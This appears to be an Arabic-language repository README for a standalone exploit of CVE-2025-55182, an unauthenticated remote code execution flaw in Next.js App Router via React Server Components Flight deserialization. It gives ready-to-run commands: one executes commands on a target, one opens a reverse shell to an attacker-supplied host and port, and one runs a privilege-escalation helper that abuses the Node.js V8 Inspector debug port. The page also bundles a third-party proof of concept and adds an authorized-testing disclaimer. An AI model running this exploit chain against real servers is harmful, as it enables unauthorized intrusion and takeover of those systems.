r3vpwnx/cve-2025-55182استغلال مستقل لثغرة CVE-2025-55182 يحقق تنفيذًا عن بُعد للكود دون مصادقة في Next.js App Router عبر إلغاء تسلسل React Server Components Flight، مع قشرة عكسية وأداة مساعدة لتصعيد الامتيازات عبر Node.js V8 Inspector.
استغلال مستقل لثغرة CVE-2025-55182 في تطبيقات Next.js App Router التي تُفعّل React Server Components. تُتيح حمولات RSC Flight المُصمّمة بعناية والمُرسلة إلى نقطة نهاية server-action تنفيذ أوامر عن بُعد غير مصادق. يتضمن أداة مساعدة لتصعيد الامتيازات محليًا عبر Node.js V8 Inspector (منفذ التصحيح) تُشغّل الكود في عملية ممتازة عبر تجاوز حماية sandbox عبر process.mainModule.require.
CVE: CVE-2025-55182
python3 -m pip install requests # لـ Python PoC(s)
cdp_privesc.pypython3 cdp_privesc.py <target>
react2shell-poc.pypython3 react2shell-poc.py -t http://TARGET:3000 -c "id" # استخراج الأوامر عبر الأخطاء
python3 react2shell-poc.py -t http://TARGET:3000 --revshell --lhost LHOST --lport 4444
react2shell-poc.py هو PoC العام لثغرة CVE-2025-55182 من p3ta00، مُضمّن دون تغيير
من https://github.com/p3ta00/react2shell-poc لسلسلة استغلال مكتفية ذاتيًا.
cdp_privesc.py (تصعيد الامتيازات المحلي عبر Node.js V8 Inspector) هو عمل أصلي.
لأغراض الاختبار الأمني المصرّح به والتعليم فقط. شغّل هذا فقط ضد أنظمة تملكها أو لديك إذن كتابي صريح لاختبارها.
المؤلف: r3vpwnx